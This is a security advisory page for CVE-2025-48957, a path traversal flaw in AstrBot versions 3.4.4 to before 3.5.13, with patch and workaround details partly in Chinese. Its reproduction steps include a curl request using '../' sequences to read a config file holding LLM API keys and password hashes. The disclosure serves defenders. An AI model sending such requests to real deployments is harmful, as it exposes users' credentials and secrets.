CVE-2025-48957

描述

### Impact This vulnerability may lead to: * Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data. ### Reproduce Follow these steps to set up a test environment for reproducing the vulnerability: 1. Install dependencies and clone the repository: ```bash pip install uv git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot uv run main.py ``` 2. Alternatively, deploy the program via pip: ```bash mkdir astrbot && cd astrbot uvx astrbot init uvx astrbot run ``` 3. In another terminal, run the following command to exploit the vulnerability: ```bash curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json ``` This request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5). ### Patches The vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later. ### Workarounds Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue. ### References * [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) * [Issue #1675](https://github.com/AstrBotDevs/AstrBot/issues/1675)

如何修補 CVE-2025-48957

要修補 CVE-2025-48957,請將受影響套件升級到下列已修補版本。

• —升級至 3.5.13 或更新版本
• —升級至 3.5.13 或更新版本

CVE-2025-48957 正在被利用嗎?

低 — EPSS 為 0.6%,目前沒有觀察到大規模利用活動。

受影響套件(2)

• >= 3.4.4, < 3.5.13